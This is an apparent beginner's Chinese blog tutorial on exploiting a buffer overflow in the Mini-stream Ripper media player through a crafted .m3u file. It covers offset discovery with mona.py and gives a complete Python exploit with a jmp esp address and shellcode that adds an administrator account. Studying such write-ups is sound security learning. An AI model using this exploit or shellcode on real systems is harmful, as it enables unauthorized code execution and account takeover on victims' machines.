欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]Mini-streamRipper_regnow缓冲区溢出利用

[原创]Mini-streamRipper_regnow缓冲区溢出利用

0x00前记
新手一枚,刚开始接触缓冲区溢出,发现这玩意真的挺难的,幸的Bigtang不耐其烦的教我,是我有幸能进入缓冲区溢出道上。好了,本人比较渣,但笔记还是得做的,我想把我学习的过程分享出来,希望对于很多和我一样的新手有点帮助,足以。
0x01漏洞简要描述
漏洞程序为某多媒体播放软件,在打开播放文件时候,未对文件大小作检查,直接复制到内存。攻击者可以构造恶意文件覆盖EIP从而执行任意代码。

0X02检测溢出点
溢出发生在打开文件的时候,我们可以用python构造超长的文件,使得程序发生溢出。

_author__ = 'Netfairy_'

filename="C:\\Documents and Settings\\All Users\\桌面\\test.m3u" #待写入的文件名

myfile=open(filename,'w')  #以写方式打开文件

filedata="A"*30000 #待写入的数据

myfile.write(filedata)  #写入数据

myfile.close()  #关闭文件


这里演示用mona.py计算溢出点,安装好debugger和mona插件以后。在command窗口输入(30000为溢出字符串的长度)
!mona pattern_create 3000


然后打开pattern.txt。复制其中的字符串作为我们的溢出字符串。然后用这个字符串重新构造我们的恶意文件。接着打开它。异常,用debugger跟进去

发现EIP被覆盖为48306D48,输入
!mona pattern_offset 0x48306D48


如图可以看到溢出在5820+20280=26100处
0x03开始溢出
我们可以构造这样的exploit
填充字符串(26100)+jmp esp地址(4)+shellcode

我们随便查找一个jmp esp地址(注意不应有坏地址)

在metasploit找一段添加用户的shellcode
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\

      "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\

      "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\

      "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"\

      "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"\

      "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"\

      "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"\

      "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"\

      "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"\

      "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"\

      "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"\

      "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"\

      "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"

最后,完整的exploit构造是
#author www.netfairy.net#

filename="C:\\Documents and Settings\\All Users\\桌面\\test.m3u" #待写入的文件名

myfile=open(filename,'w')  #以写方式打开文件

filedata="A"*26100+'\xDB\xFC\x3A\x75'+'\x90\x90\x90\x90'+"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\

      "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\

      "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\

      "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"\

      "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"\

      "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"\

      "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"\

      "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"\

      "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"\

      "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"\

      "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"\

      "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"\

      "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"

myfile.write(filedata)  #写入数据

myfile.close()  #关闭文件

值得注意的是,这里我在JMP ESP地址后面加了四个\x90.因为我发现程序在return 后esp并不指向返回地址的后面,而是指向返回地址+4的地方。大家看

然后,运行我们构造的恶意文件test.m3u

exploit执行成功,成功添加新用户。
0x04参考
http://x0day.me/index.php/archives/ftp-overflow-and-exploit-with-metasploit.html
https://www.exploit-db.com
【注】原文首发在我的博客:www.netfairy.net,欢迎兴趣相同的朋友一起学习~~~

上传的附件 1.png
2.png
3.png
4.png
5.png
6.png
7.png
8.png

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功